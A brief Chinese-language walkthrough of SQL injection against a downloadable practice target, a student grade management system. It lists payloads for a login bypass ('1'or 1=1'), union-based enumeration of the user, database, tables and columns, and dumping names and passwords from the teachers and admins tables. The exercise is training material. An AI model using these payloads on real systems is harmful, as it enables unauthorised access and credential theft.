靶场grade；学生成绩管理系统；小熊信息；SQL注入；

1、搭建好靶场，这里是靶场内容

grade.zip - 蓝奏云文件大小：274.6 K|https://wwu.lanzoum.com/iKKaX09pyvgb2、这里是正常情况

 3、试一下万能密码和账户，登陆成功

1’or 1=1 -- +

1’or 1=1 -- +

4、这里查到号码

 

5、这里查到用户名

'union select user() #

 

 6、这里查到数据库

'union select database() #

7、 修改输入限制长度

' union select table_name from information_schema.tables where table_schema = database() #

' union select table_name from information_schema.tables where table_schema = 'grade' #

 

 

8、爆字段

' union select column_name from information_schema.columns where table_name = "admins"#

 

 9、爆数据

' union select group_concat(id,name,pass) from teachers #

 

' union select group_concat(id,name,pass) from admins #